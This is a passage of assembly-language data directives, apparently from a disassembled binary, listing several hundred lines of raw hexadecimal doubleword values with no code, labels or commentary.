		dd 56998A2Eh, 3D9A91B3h, 0F5FB11B0h, 27BFDF56h,	7D803A45h
		dd 0D38A5168h, 0BB930DF9h, 586B554Ah, 662CCB36h, 0D6705E2Ch
		dd 19FC3A6Bh, 6C181807h, 0D151A77Fh, 0BC8FD88Eh, 3227A570h
		dd 0ADA3E32Dh, 70D7EB1Dh, 8095876Dh, 44C98D11h,	0FD55CE0Ah
		dd 0A02E7E17h, 0DE8B3121h, 1367CBh, 1D70B2BBh, 5DAB6323h
		dd 6B4CCE0Fh, 0C0789426h, 1FD808D7h, 1AA1F2E7h,	1DCE6EDCh
		dd 1240A421h, 231E90h, 0C41E11CEh, 6632EE9Ch, 1CF48911h
		dd 0FC532CFCh, 0B6B8E266h, 0C616F755h, 0BBDEEB5Eh, 1A7BEF76h
		dd 0F696EE17h, 0B69E767Dh, 8BDF9254h, 0D49A3BC6h, 38BFCCC0h
		dd 3510A5B8h, 0CE9E1C61h, 17AE5B53h, 0A1DC7672h, 0B81819Ah
		dd 7E385B3Dh, 3B56DEFDh, 99EFF2C7h, 0A67F2BD9h,	14A07ED7h
		dd 0F581AB4Bh, 57BF4450h, 983C235Eh, 10BC5444h,	0C0A6720Ch
		dd 4C27E178h, 0BC180A87h, 18D5CA66h, 48F20AF3h,	8CC2732Ch
		dd 9CFBD8C2h, 83FAD3B4h, 8D576CA4h, 1C420040h, 0F6D22FC0h
		dd 0D296F00Eh, 6C3E1633h, 3DCBDAA5h, 415B4099h,	46946266h
		dd 0DBF200BEh, 0BA85C5ADh, 6E3BA130h, 0DC6BD338h, 0FBF70500h
		dd 0FA2595CFh, 0B6EEFC72h, 1FB96AE7h, 9597FABh,	6E572BF1h
		dd 5870A039h, 0CAE57AA0h, 0CC6A3745h, 0ACDF4E66h, 24264A93h
		dd 0DFF014ACh, 0CCC36C21h, 0FB2DCD58h, 847D2A7h, 0A33DB60Fh
		dd 0FE03C578h, 0A87AF8Ah, 27FD2A0h, 0DF402923h,	478328BFh
		dd 77DCA860h, 1AC6D7BFh, 0C5C74677h, 21F2FDD8h,	0DB3F9Ch
		dd 953D2F51h, 0B8CEB720h, 9DA5627Eh, 0F948444Bh, 8519FEC4h
		dd 0FE0A2FE0h, 0AE1F89EEh, 348B52CCh, 5AEA684Dh, 333E0D88h
		dd 10E17A5Eh, 0D182F6C2h, 182545C6h, 71235649h,	644DAA34h
		dd 34DDB47Fh, 236CF101h, 0A2C0DE57h, 8208635Ah,	0F1C54089h
		dd 277B03DFh, 0E6897C61h, 5F3D4561h, 85686B58h,	4B5F25E7h
		dd 8174148Bh, 4471FDE8h, 6B5813F9h, 0F7EBA646h,	147E1938h
		dd 0EF975D32h, 0DAD0F9E3h, 26E051DAh, 55B021h, 0B9AA6C62h
		dd 0C8058AB3h, 0BD642EC2h, 4D2313C0h, 84BB9362h, 0DC537503h
		dd 41D313DBh, 0ABA72E9Ah, 1CCF1E7Eh, 0AEEF4DD8h, 0A2CCDC80h
		dd 8819DF26h, 0FD779889h, 0C695E620h, 83A493A4h, 0DEE7A230h
		dd 6A27F915h, 0AC71D399h, 0AE32A72Dh, 174199D8h, 0E1C1E9D5h
		dd 7BE2675Ch, 661E1052h, 1B5D70E8h, 0C57093DEh,	0DFCADB16h
		dd 0C073C1C9h, 0DE342CA9h
		dd 3778B9A0h, 0CEFBE8E5h, 553DBAA6h, 99C36752h,	2078DEEEh
		dd 0A706717Ah, 667D57A2h, 0D0180CDDh, 9BC0E28h,	58641A3Dh
		dd 992BF410h, 0C54853EAh, 0B36106B3h, 43406081h, 81D9EE7Fh
		dd 0BFA01090h, 0DF44923Bh, 40184CA2h, 91F4066Ah, 4F22B8D3h
		dd 0E56A26EDh, 3740C0E0h, 6D300EE6h, 4CD239ABh,	84E8B82Bh
		dd 48DE9C86h, 0BBE1C53Ah, 0C3A661C3h, 0F4E36296h, 7F97D39Fh
		dd 1FEBF0ECh, 0D5C2D48Eh, 9765950h, 0BAA586A7h,	0E9B10964h
		dd 49ED7DEFh, 18083E73h, 8DAAA84Bh, 0BF7D2B06h,	114D3E3Ch
		dd 81464B07h, 0C814DC73h, 63C56B51h, 0F093042Ch, 0E2407746h
		dd 5D968752h, 91E799B6h, 6F97CF3Dh, 49A87D13h, 0BBAEEFECh
		dd 65532A15h, 3101ED53h, 0C908A3BDh, 0D254BE44h, 4343A9D6h
		dd 61B5CB49h, 4C40997Fh, 0D21FBC9Eh, 0CAC203CFh, 0C043BE91h
		dd 0DFE4AA3Ch, 2F61FB73h, 597CC33h, 4173C194h, 618E7317h
		dd 9EC10E1Ah, 0A8F5A58Fh, 395B52EFh, 2B2C2A54h,	2EA80D23h
		dd 0BE63AB2Ch, 115585B5h, 0B88A3644h, 4A0CBF52h, 5DF37BBBh
		dd 2107ED4h, 0DDF906FCh, 138803D9h, 58BC0E6Fh, 5FE37E3Fh
		dd 733228DEh, 0D01B39FAh, 0D718CBCDh, 0E2423975h, 1703F159h
		dd 52A58E80h, 4990D566h, 7765A989h, 0B4B80AF8h,	50D6E2EAh
		dd 0DA0B3B8Ch, 1F709BD3h, 0ED7A23F1h, 18DACDE3h, 6825BF94h
		dd 0F8C12217h, 0DBE3A18Fh, 0B81694CFh, 875F2EBAh, 165E7B17h
		dd 0B5071638h, 4E2F5B3Fh, 4FBF8F4Fh, 42D7B646h,	413F2B47h
		dd 0EBDEB530h, 5334E817h, 8EEA3252h, 0C0059E59h, 3A363D38h
		dd 0EE163FDh, 4ECB861h,	0A15CBA4Ch, 0DE2B0F42h,	15D26109h
		dd 0B9A27459h, 1D94FB13h, 2F5692DEh, 0FAC2D04Bh, 4040D237h
		dd 0D4B1F65h, 0B9ABF864h, 0D24C3ACAh, 539738CBh, 0E29A5957h
		dd 491A6D6Ah, 77B0D5EEh, 0B690115Ch, 0EEAC31BCh, 4372B8BBh
		dd 604D2AEFh, 0B518CDEDh, 0C037E071h, 0B6C1D67h, 21AEDBBh
		dd 0F52B9AFh, 69F65E13h, 0A8E96600h, 0BD3914CBh, 91358DB8h
		dd 9424592Ah, 94F491C5h, 79A0DA08h, 8235D4C1h, 0F38633B9h
		dd 7FE8B1BBh, 0D85619B3h, 0A4ADA775h, 51617B81h, 0BF14BBBCh
		dd 0A1F582F7h, 0EC9B32C6h, 1D14E7FBh, 35BC676Bh, 0CEC2F563h
		dd 313B26CFh, 7E47683Eh, 0DC5F7A07h, 0AEABCE97h, 0B516A5C6h
		dd 5A1E37B4h, 6D00C7Eh,	0C4595E27h, 0F6DC5CF0h,	0B5584235h
		dd 255BB58Bh, 5E39EB64h, 62A78E7Fh, 0A21F325Ch,	0C504F6DBh
		dd 22F931AEh, 335DEFA6h, 917096D8h, 910D6AECh, 0CDA4B1A1h
		dd 0D419D3FDh, 2952415Eh, 6D4F320h, 0FDE2751Ch,	8508DECCh
		dd 60681136h, 3074722Fh, 0B3DBB5Ch, 45F8EB1h, 5E11331Ah
		dd 54BABCD5h, 0C6613BBBh, 218EA94Fh, 0DF76A6FDh, 550364F2h
		dd 39B25403h, 4BCE6E32h, 0E763D786h, 0C6CE83A5h, 7EF41813h
		dd 6070D617h, 184B4E48h, 80C9D4A7h, 5FCF9615h, 0B996785Ah
		dd 6EE81415h, 0B789877Bh, 0A38249FFh, 0B8A2B565h, 4ED1F348h
		dd 1C053E06h, 7F92D33Ch, 0B23AD49Fh, 36CDE6ACh,	0FE2DA8F4h
		dd 0D5192381h, 56B7EF3Ch, 910E4EBEh, 86B62069h,	4DB3B94h
		dd 0B5F0CF2h, 0ADC61188h, 0E2C8ECD3h, 5678CA0Ch, 49604315h
		dd 0C0BC4A9Fh, 47FA727Ah, 330846A5h, 68F1B7A2h,	4FDCCB4Dh
		dd 1E48D342h, 6BDAA126h, 7164CA6Bh, 0E90378EBh,	39B284D6h
		dd 7AAE466Bh, 0FEE315D2h, 13C8CCE6h, 3B7A3EEBh,	6BF26E0Dh
		dd 0CB0D2939h, 0E27FB35Bh, 0B65397A7h, 87962282h, 0ADDA2068h
		dd 0B822477Eh, 0C33A3860h, 0B6824282h, 0A4300E59h, 8CFD5C4Ah
		dd 0B07D1BAAh, 0E9CF5548h, 0DCFE630h, 0DCF3A513h, 1C6DFCD6h
		dd 5AC8B3C2h, 82274BAAh, 0AB4FF825h, 0F5C2D454h, 9C31C9A4h
		dd 0EFEE2D03h, 431BB34Bh, 665A3848h, 0DCA73409h, 0C1DABDF1h
		dd 4EDEB81Dh, 0F3E297D1h, 39A9C105h, 9CA7BD25h,	8AAD4C4Dh
		dd 65C9A5DBh, 9DE1C242h, 659B4C40h, 0B8074CB8h,	0B27E3969h
		dd 0E417ACF7h, 9CBB530Eh, 888EA22Eh, 98BFC12Bh,	0EC67524Fh
		dd 0A2BC02C9h, 0F0170160h, 0C283D763h, 55999287h, 1B311A4Eh
		dd 0C470956Bh, 0C572D080h, 4790733Fh, 8971E1B1h, 7EAA58CBh
		dd 0F889F169h, 48950ADAh, 0B3A51C5Bh, 1C063909h, 5A179C78h
		dd 28F3FAA0h, 4A611525h, 5C7D9E20h, 0CFBD6047h,	25C88D6Ch
		dd 7E04D04h, 56D2047Ah,	3EC64790h, 0A1277218h, 0A24A219Bh
		dd 0DC1BCE7h, 0C15F6A20h, 65CC1876h, 6E6E4EB9h,	1DE0CCB0h
		dd 2C665DB6h, 8AC47344h, 0ED7E6871h, 2161481h, 16D91C17h
		dd 0D8A50BFCh, 0E8202F65h, 67F4F8DFh, 25197576h, 0BDB0AA1Eh
		dd 0AC281B0Ch, 0C0222AB4h, 0D784A16h, 9787AC39h, 0A5AADE6Eh
		dd 61EE9350h, 1DE6C743h, 95A1F7A4h, 0FFC6ED8Eh,	0EBF51C57h
		dd 5F5F0446h, 8226C0BEh, 0D86229A6h, 4BA5ADh, 7CED58A5h
		dd 1BB1344Eh, 5D5F1B7Ch, 0DE73BC81h, 0C0700697h, 0AE6F2C1Bh
		dd 6755530Ch, 74CA2C28h, 0B96930ADh, 8E080110h,	25F08E07h
		dd 0F8B4AD3Eh, 0AF01BD64h, 329A919Bh, 91778663h, 35F86E56h
		dd 0BB0FD61Fh, 273279B0h, 0F2AAF5A7h, 954E0C27h, 219C6CBh
		dd 9F0232C1h, 48A80ACAh, 0C383FC5h, 727CF53h, 0E2B5C883h
		dd 5A2BF624h, 59B00BD0h, 27B121AEh, 26272402h, 59DC6268h
		dd 242235C7h, 2030CF3Bh, 2C65447h, 0B7510051h, 1CFD5C55h
		dd 9EB15FB0h, 0F80C5E2Fh, 0DE4CF742h, 0C0FBA870h, 0FFBFC74Ah
		dd 87FFA14Fh, 3673552Bh, 4D82D5D5h, 9CAF539Bh, 658F3C23h
		dd 5DB9B0CDh, 7A5353F9h, 9019235Bh, 13E43A37h, 0AF4B7D7Bh
		dd 0FE4142E9h, 0C622C818h, 0C6C83515h, 9C4D115Bh, 1AECBFE1h
		dd 449B3E8Ch, 0BFB88A27h, 3116E249h, 23591CD3h,	924BFD04h
		dd 39126B70h, 8BFB3F6Eh, 0BEED97DBh, 0E8C619BDh, 5F7BD575h
		dd 1FACF89h, 0E272F4B5h, 0DDD63C6Dh, 8CDA15D9h,	351BC45Dh
		dd 154BD5DBh, 4A390122h, 7C5FF2E1h, 31EFCDADh, 2E0C2B7Ah
		dd 0E8B2C6DCh, 0AC2BC909h, 0B2B50825h, 833E6DB7h, 0D9F8C514h
		dd 0EEF9669Dh, 810FC91Fh, 558DAE01h, 4DF54BDCh,	8735C497h
		dd 0F5C7B94Dh, 485DBEF6h, 0E301F1DDh, 6D276363h, 1004290Ah
		dd 6E04F6C0h, 0CDDE8D90h, 0CFF688F8h, 68D6E203h, 2B1BAA6h
		dd 0BBC78764h, 5AB0A841h, 90260664h, 24B8B726h,	6545C6DBh
		dd 0A3F54C66h, 0EC6104Eh, 877E5353h, 7DA1D900h,	649C5677h
		dd 4DCDC1DAh, 38937886h, 0AA3258E1h, 29CC7959h,	9BB5B629h
		dd 0C7DD8D03h, 692C1548h, 4974AC94h, 0D128901Ah, 0DC58C395h
		dd 686DF133h, 9E9B9C7Eh, 614FEA07h, 50310F50h, 90679695h
		dd 16FF58E2h, 456DB784h, 7B05F9D2h, 50D17F5Fh, 73CC6DA4h
		dd 4D23886Eh, 287E3DC3h, 0F0404464h, 6C090540h,	0A90E5653h
		dd 8AE35D72h, 0C0068134h, 0C54313C6h, 929610CEh, 0C74375C0h
		dd 22C33F4Bh, 0CD81B32Dh, 96AEDEh, 61D9CA6Dh, 0AAE27C0Eh
		dd 0C391B42Eh, 559588Fh, 3AA2CF94h, 2D07214Fh, 58C8B6D0h
		dd 6A1B087Bh, 9A32552Bh, 31FE607Fh, 2D02F88Ah, 4990857Dh
		dd 1D04373Ch, 0ABCEDB13h, 7CE62924h, 0C2E6B29Ah, 0D9954D4Ch
		dd 985C6C54h, 0BF9C82Fh, 1FF0C78Ch, 0BF4FFB34h,	209FF7BBh
		dd 0C5F006ADh, 448D18F0h, 0D3F3EE81h, 0F3DDCE00h, 53E74C0h
		dd 0BB604E2Eh, 3A6FD1B7h, 0F0B87345h, 0D1856D7Dh, 44C74C6h
		dd 5F30C9F9h, 4A1EFADBh, 10BFC8Bh, 0E985E98Fh, 5789A3AEh
		dd 8C7E4844h, 0BE7E1CA4h, 7A4ED71Fh, 0C3DFF241h, 0A93DB972h
		dd 0AEE698BCh, 901A0418h
		dd 0C7043E07h, 0E52D7A86h, 0E70E091Ah, 0C0DDDB15h, 0E2EBBADCh
		dd 5832DE7h, 0A4A90102h, 0ABD03A55h, 12127778h,	0E323586Ah
		dd 99FAA59Ch, 0F90C2221h, 0FA5EB26Fh, 0D7E3030Eh, 7D61AE46h
		dd 6044116Ch, 8E757530h, 0A78E270h, 20D9BE1Bh, 30D1B8B6h
		dd 3631125Bh, 4146B122h, 755A9889h, 629F159Dh, 8F27C25Ch
		dd 70476DFAh, 5CBC1738h, 0D9A084B0h, 6B6EA114h,	6F1322CDh
		dd 2B1EA77Dh, 0DFF5029Dh, 37708A33h, 0AE053B6Ch, 7AE19A34h
		dd 1D143659h, 0B566C85Eh, 5315EA1Ah, 0E67E6138h, 216B0246h
		dd 0A5A61E86h, 0EAE8B2C7h, 53D05C45h, 7EB1E87Eh, 25782B1Fh
		dd 22799A9Dh, 0C557747Dh, 13196CF2h, 78F04527h,	16F0979Eh
		dd 3FEA4393h, 0BC89C136h, 2F8790D5h, 2E95B4BAh,	0AAD5C7B6h
		dd 7EFC4D8Ch, 0C87DA0D6h, 0B9F158BCh, 303BDA44h, 39C34954h
		dd 0CD2AACDAh, 0F29614F3h, 0AF2B7324h, 3B5279F8h, 0BD760FFEh
		dd 0D569A495h, 0DB9377ACh, 9D071044h, 488704FCh, 7FF934F2h
		dd 0A353F800h, 0C348CA8Fh, 1F048BA2h, 0B80A2D5Fh, 5CA523A0h
		dd 2B386DA8h, 13F2165Eh, 450266CDh, 9434EB7Ah, 3C732EDFh
		dd 0B67ACDE7h, 23032673h, 0AD46E3BAh, 3CC5573Eh, 0B9101D41h
		dd 0C3FE4907h, 4C359F62h, 2039F87h, 562AD2CDh, 43B5848Ch
		dd 528995Bh, 19E6D309h,	6CF44582h, 8A341F75h, 0C974E2F9h
		dd 0F4557287h, 4F0C985Dh, 0C633A79Eh, 3DD0B05Bh, 0ADF8D015h
		dd 13FF674Eh, 5F67A90Eh, 737C7922h, 0F11D576h, 15FDE79Fh
		dd 7417F7FDh, 4CC5D85Bh, 823352DEh, 58753B3h, 31EADBACh
		dd 1518B013h, 6A5F40E9h, 0E0B4E1DAh, 0D246CD86h, 0CF54302Dh
		dd 9CBDFC5Dh, 0E02FEDADh, 0F532585Bh, 0C2AE7EEDh, 9B3F5A63h
		dd 0B08EF999h, 0CB5C9EE4h, 4FC50794h, 0BADB2FD2h, 0A436DD15h
		dd 8885774Dh, 30390D3Ch, 0A1E9B837h, 17123CBBh,	743F2438h
		dd 91B054A4h, 727774B6h, 7600163Fh, 2E54810Bh, 4FF1E62h
		dd 0C910CA09h, 8DEA056Eh, 0A9009127h, 5A64FAD0h, 7CFBAC1Ch
		dd 4DF604AAh, 567FE2A3h, 667AF485h, 764D1939h, 2EAEE29Ah
		dd 986B213h, 0F76B85BFh, 525467Fh, 0CA9FC2D5h, 61B136FEh
		dd 2039476Bh, 27B033Eh,	0DAD022EFh, 95BD0714h, 0CB5F1E4Eh
		dd 4127B561h, 0A37698C5h, 19AE2656h, 4F587A4Eh,	0B268BAB9h
		dd 0D858AC8Ch, 3F7CDAEBh, 6EFCEE02h, 0C9861180h, 0F4E3668Dh
		dd 1AB57F38h, 0B1CAD8B5h, 0F2804C18h, 6B677F39h, 0FCB7D19Bh
		dd 0A2EC0E3h, 0BF7AF6F3h, 24A496CCh, 975D0EACh,	390388A8h
		dd 5B22EF33h, 1C6B439Ch, 0A4B1745Ch, 5B4088ACh,	63100D44h
		dd 6DCE3B4Bh, 395D8172h, 7C51347Dh, 0B10F5AE5h,	0E7DA169Bh
		dd 0C498F649h, 16233E86h, 0C0472D9Dh, 491C0361h, 1A6547Eh
		dd 68797816h, 87B82948h, 0D2764463h, 0E8B583C2h, 0EA5E7FA0h
		dd 0A93D55BFh, 7212E659h, 8F2766E3h, 0BB8D760Fh, 0D1E589Fh
		dd 0C63C9661h, 433946DEh, 9FBDFE96h, 952ADEE4h,	0D6950E33h
		dd 0F81B67F3h, 0B008FED0h, 0C842BB95h, 9A6D553Ah, 0F83B9ED1h
		dd 42BA8D42h, 55249325h, 0F8345540h, 79907E93h,	2A5C39B6h
		dd 2230C0FFh, 9E41831h,	4E191531h, 42C4637Bh, 0DBAEE6CCh
		dd 72CEAADAh, 107E6CD0h, 0E30ED116h, 12BF5695h,	0FC5559BEh
		dd 61DA3601h, 0F12AD2D0h, 54A5070Ah, 3FEBC77Ch,	3DC52E99h
		dd 98E80AD0h, 3498B9E9h, 29E408E6h, 0D812A2E0h,	0C1730EECh
		dd 0DB15AFC2h, 0CB6CD644h, 0F3B1ED95h, 9CE3DF8h, 7B67E4CCh
		dd 0BB3FFA0Bh, 0EA144D7Ch, 8D751814h, 8A4E0BAFh, 7FBA6312h
		dd 64E60940h, 0EA870423h, 488A0D57h, 0A7A3F9D8h, 1C076A77h
		dd 533B3A11h, 0E2DFB62Eh, 0DDAAD5ABh, 0E93CA22Fh, 0BE84B05Ah
		dd 8E107044h, 79C22BBh,	3DAED3BFh, 0A2783D35h, 4C80D88h
		dd 8EE4E93h, 0FA562990h, 0B14662A9h, 0B75D8559h, 97F535EBh
		dd 8736F7AAh, 0E2F8550Dh, 5802F4AEh, 0D0C0D474h, 19C38ABFh
		dd 32F51355h, 58ABCD32h, 1395450Fh, 0FD2D0E1h, 826E89B3h
		dd 9706ABA4h, 0E027246Dh, 39C410F8h, 89314DE9h,	8AFC906Fh
		dd 8EEA2558h, 10194632h, 168E5791h, 0D3EE1D68h,	0E9DD27F0h
		dd 4127BD6h, 22A4C095h,	0BBF7E8FAh, 493A4FA7h, 84D8702h
		dd 0AA30C6C3h, 2CF85662h, 0B9DFE1DEh, 0E8F62226h, 0B2CEAA42h
		dd 39F1E6CCh, 0A64F730Eh, 3CECD10Fh, 6DA7837Dh,	0B311BF24h
		dd 15E7FF47h, 3BDABAE3h, 6C370E48h, 7E17E727h, 0A6463197h
		dd 2E86050Ah, 0D6DA712Fh, 0ED6E7086h, 1C427DA7h, 65FE85C2h
		dd 59EE84D7h, 0F35B9A53h, 0F36D5CC6h, 45C3A58Bh, 28427E31h
		dd 0EDF555E3h, 0E59843A2h, 2CE272BAh, 55F33AADh, 9EA1B947h
		dd 705EF728h, 0BFF6088Bh, 0DB60F499h, 52A61E60h, 0B4233F60h
		dd 2B8CBF1Bh, 909AE51Ah, 0D5B11FF0h, 9553BEEAh,	56168FD1h
		dd 86287685h, 215397Fh,	0F215DF7Ah, 1FEB7B11h, 0C8FEA691h
		dd 0DCB40E87h, 0CA11E59Eh, 0A767D967h, 0C90158C7h, 0C0C6036Ah
		dd 766FF646h, 0C60CEA80h, 0D4FDD28Ch, 0F727F62Bh, 4EAB7E0h
		dd 2D3AEFDFh, 0C0CDF139h, 73DC562Bh, 6D7B8DC1h,	33C73CD1h
		dd 0D5491693h, 9A679B19h, 0E0BA69EDh, 871E9427h, 1DBD2AE7h
		dd 2D6F6453h, 968E5040h, 0B71485ADh, 7541608h, 82F70581h
		dd 9EF8A5B8h, 2D2B89B4h, 0E6D20E7Eh, 43EEA266h,	4D99C517h
		dd 194AF7C3h, 0F50951B9h, 4C8DFFCDh, 176BB522h,	621D70F8h
		dd 605882B8h, 31060F49h, 1DD4AEF1h, 134DB744h, 0F836EDAh
		dd 0F4E9490Eh, 0D03CEF41h, 0A42AEC6Bh, 9BD6A74Ah, 365C4288h
		dd 0C390A303h, 47FAE8ECh, 6735B04Bh, 5143AF0h, 0E2A4B9BCh
		dd 111B4E1Ah, 0C3D471CAh, 8DC7D3BAh, 2F4FF878h,	1EDCD5A8h
		dd 0D803CC8Bh, 530FD90Bh, 0F44FD060h, 7C62313Ch, 0ACBFAED5h
		dd 4DB24E1Fh, 0E8B88154h, 7F4B5C95h, 0C74081CDh, 308419CCh
		dd 53298722h, 0C34B2611h, 0DAFB74C0h, 0A6538F4h, 903F85A8h
		dd 0F600800Dh, 0D0A56637h, 0B826D663h, 2F18B0AFh, 0B0AC2298h
		dd 0D2D06885h, 15847919h, 13DA3852h, 0C24464ADh, 8314950Ah
		dd 3BF70A54h, 9AE0F19Eh, 7FAEEF69h, 1BF0C10h, 0B70E8DCBh
		dd 156307AEh, 2F9CBCE0h, 18E71ED3h, 628D6BF3h, 0C82BE1E3h
		dd 0E087B3CAh, 88AA3ED7h, 0B5620A9Bh, 72C93B11h, 980C04AEh
		dd 0FCA2FBBBh, 4B0E6E7h, 7AE3EB5Fh, 0D512AB3Eh,	7E2E9274h
		dd 30469BFEh, 8608FAC6h, 20A18D49h, 1C7B01F4h, 0C57608B2h
		dd 0CA931D93h, 0D4745D07h, 57BF8CD7h, 8730A4BBh, 7FDD267Ch
		dd 0A1C0F07Fh, 6E5B3384h, 2D6343D9h, 25E3AADCh,	0C3948C2Fh
		dd 57CA605Bh, 3884DE3Dh, 7016D2ADh, 6AA2A2ABh, 0E1C20E36h
		dd 83B39E4Dh, 137A8FDAh, 0E98B73FCh, 0B1B9A85Fh, 3ACE194Eh
		dd 61EFBABDh, 6EFB397Fh, 20287DFAh, 0FA0CA4DAh,	8F1AD0B4h
		dd 0A89F5CD3h, 0F58FD9Fh, 43A666EDh, 8B9EC7Bh, 0C7E5D6A4h
		dd 0BAB7B515h, 0CD8707BDh, 19C92020h, 3A0C92B5h, 950DABE2h
		dd 0A9AF476h, 35A8F62Dh, 0ABF71259h, 8CAE0E42h,	64A7385Eh
		dd 68BFBBDFh, 2559B7A5h, 79C49BC1h, 77B66982h, 2ED03B3Eh
		dd 8E0442D4h, 7B15C07Fh, 0D50205ADh, 0F50EE197h, 0DAA02E9Dh
		dd 0A17E2D14h, 0EC7E8554h, 329E55A4h, 5DA4103Dh, 0AF06BD35h
		dd 5AB2E9ADh, 0DD3047CCh, 0A29BABB7h, 0D58415A2h, 0B10CD7F5h
		dd 0AC01AEE8h, 23240140h, 1E9D202h, 5A3B0C6h, 4F853059h
		dd 13962D13h, 1D53E413h, 0C4705067h, 47D9552Eh,	2E4FA8BCh
		dd 0AD27D14Ch, 0FD950AB4h
		dd 1281C2Eh, 0E4E328F0h, 0B88F6FE5h, 53714BAAh,	37B4031Ch
		dd 1E10605Ah, 0E4411794h, 41C660DDh, 751E3AB2h,	89138799h
		dd 9037B179h, 73039D2Fh, 0A328D366h, 73BA9335h,	0FA5742F2h
		dd 12D084C0h, 32DE3993h, 4C44BA32h, 0E619CF6Bh,	0DB9A49E8h
		dd 0ED1A7A57h, 0D6B7D772h, 451C4079h, 1D3D5C6h,	0B3C48D7h
		dd 5D5E77FFh, 209811CAh, 0E0676CC2h, 0ADEB675Bh, 0F5B01D2Eh
		dd 417492C3h, 8C42130h,	0F1F85518h, 0E62DE5A6h,	0E44C6112h
		dd 0AE86E47Bh, 5F6423F3h, 0DFE26F53h, 0FD272E16h, 0A8B51A7Fh
		dd 89C184C3h, 83F71B7Fh, 3AAC7F3Dh, 8CD3852Bh, 0F9A38020h
		dd 477F4798h, 0E4855322h, 7377C186h, 0EA2A492h,	73D2F5B4h
		dd 31243A8h, 20D69F33h,	15B00ABAh, 0C70D98C2h, 3C63C3BEh
		dd 355EBE05h, 0EFBED4ADh, 1A342588h, 36BA2627h,	97D55623h
		dd 79AE216h, 5F4324EAh,	57CF2F19h, 438951Fh, 990D9838h
		dd 5CE78793h, 5CAF57AFh, 0D5E157Ah, 0A719EA80h,	54F8B84Dh
		dd 23E8AF46h, 51D61BECh, 0BD807F21h, 0A860676Eh, 5203AA74h
		dd 0D7329227h, 2E362EC2h, 57A4F1F0h, 32C65F7Dh,	0DB67887Dh
		dd 548410A9h, 7B891FEFh, 67590543h, 0AE7E3BE5h,	7AE82A66h
		dd 475A8EEBh, 4259713Fh, 9FE325F8h, 0B436A784h,	23FD2206h
		dd 679E9089h, 3257E010h, 53E716FFh, 61CBF04h, 63F0A9C5h
		dd 0F8883E11h, 4F14CB1h, 662AF54Bh, 376CE4FFh, 0CE45B54Ch
		dd 0A309B71Eh, 971CD26Fh, 9E12C06Bh, 5E4484A4h,	0E743D40Ah
		dd 8F13F3A7h, 0C4C53001h, 3F4ACF54h, 59650B45h,	3CADE298h
		dd 0D427283Eh, 0BFD5445Fh, 2C56AC7Eh, 0B7FCE012h, 0BD9C0C42h
		dd 24C5898Bh, 0A1D058D0h, 74296CC4h, 42812712h,	8DC49ED1h
		dd 3662AEA2h, 4C7973CCh, 916E26B2h, 5AA44C9Fh, 658EF0FDh
		dd 94CFC53Eh, 37D39180h, 5EAAB3A2h, 1090BBB8h, 66FE5B8h
		dd 0DBF6B010h, 0A90BD18Ah, 8C524C79h, 0FD5123E6h, 1E0512FAh
		dd 2561DA3Fh, 0F3B4AF04h, 0DE5E2E66h, 0E9C89B72h, 0B4E6A01Ch
		dd 0BE1C6521h, 45359A8h, 0BB1023B2h, 4134AD37h,	8AD68469h
		dd 765A95ABh, 0D3BCEEA9h, 7012BA2Dh, 5E669A0Dh,	9488893Ah
		dd 7D401E0Eh, 0C34CB136h, 0E9457A45h, 75A15h, 0B950FD87h
		dd 6163DA9Ch, 4925E96Eh, 8A71CEF8h, 7190F637h, 0C0E94607h
		dd 3C80D38Ch, 679DA954h, 80C8CAE3h, 0F6DCA50Ch,	9F3C5CAh
		dd 0C74E0826h, 0D6E7BDBFh, 40EDA7FBh, 36EE5E3Ch, 0CEFCE1h
		dd 221572A8h, 0AC61E159h, 7F77DB78h, 0AB99B19Ah, 5C3E0899h
		dd 8E8F367Fh, 816D09B9h, 0E880EA68h, 0D1F5B66h,	9C9BB254h
		dd 2EB2FF47h, 3229D3B3h, 56B663DBh, 98DD751Eh, 0A2C3FBF3h
		dd 0F39E1E3h, 8FDFD8EDh, 0B53F58C0h, 0C81E2776h, 0B66BD177h
		dd 76D57863h, 23CBF180h, 7290465Dh, 9F5877FCh, 0AD99435Ch
		dd 9ADA0515h, 0AA75BC14h, 0C0ECB21Eh, 42171D1Bh, 9B8BCF6h
		dd 5ECA500Eh, 0EA513A80h, 7F802184h, 0A259A959h, 0F0A5D404h
		dd 0A8C2CC91h, 69A6F859h, 0B8A921FDh, 1BB73ADAh, 0F6C7C954h
		dd 31092BAEh, 0EEF470BAh, 0C8EBF4D9h, 6CE9ADEDh, 58947DABh
		dd 0F0FDF467h, 65DCF2B6h, 18AD6280h, 1F96B5E2h,	0BC97A2D9h
		dd 0F902BAD5h, 0E8E87475h, 0D2BD290Ah, 0CCEF127Ch, 2A886C3Eh
		dd 0C05AEA7h, 477A4011h, 5315E57Dh, 498253DFh, 4241F7E7h
		dd 0E39D3682h, 0D1F0DA89h, 236F4BFAh, 977858B5h, 0D9A98AB5h
		dd 43DA1EE4h, 0C21FA78Fh, 0E6CD692Eh, 7CBE1087h, 242F84AAh
		dd 23AF3837h, 4A9CB19h,	0C8986179h, 38403CFBh, 0D492B265h
		dd 329267Ah, 4E8D854h, 9EE38A85h, 3B51B459h, 6225B715h
		dd 77182798h, 0B40DCFDBh, 15BA3383h, 0F47FF219h, 0AFB9DE62h
		dd 0CA16C538h, 485800CEh, 0FA75CE6Ah, 49B10BE3h, 0BCC4826Ch
		dd 1578FF4Dh, 0DCCAB1EDh, 72055384h, 23BDBB64h,	58309FECh
		dd 33D659Bh, 0BD7DC9C2h, 9AD37DCEh, 0D988BC89h,	9097DB88h
		dd 18156795h, 9001C1FDh, 6F2EFE71h, 79EB82A7h, 0CBD4661Ah
		dd 0E450ABCh, 7F6F6593h, 39C9F5D0h, 0A362EA5Ch,	66677A16h
		dd 46E01D66h, 2479C653h, 10E50CFBh, 0A69EBFCDh,	83B55962h
		dd 0FD08D132h, 1FE46B99h, 0F1D99D8Ch, 8D60110Fh, 0F3759B0Bh
		dd 4293E9EAh, 5030AEBFh, 0F61E4168h, 0AB12E8B8h, 4C3B4CD3h
		dd 3F2DCB34h, 2256D25Ah, 588A53A4h, 6EA197F2h, 0DCA4A631h
		dd 0D29588E8h, 29742310h, 0F0BD10D3h, 0B5417015h, 1590A930h
		dd 3343B7D5h, 7A745C6h,	4EE3EA86h, 0D431BCF1h, 0B5160749h
		dd 2C86EC60h, 0CF620084h, 3ECB3B90h, 0AED960D8h, 0C18EB400h
		dd 24ED3E18h, 0DE611E8Bh, 80D3282Eh, 0D6C3DFAFh, 10AF4735h
		dd 87CBA9FEh, 3DE6BA47h, 0C3B90A65h, 0B795C41Eh, 0BB1C2B4Eh
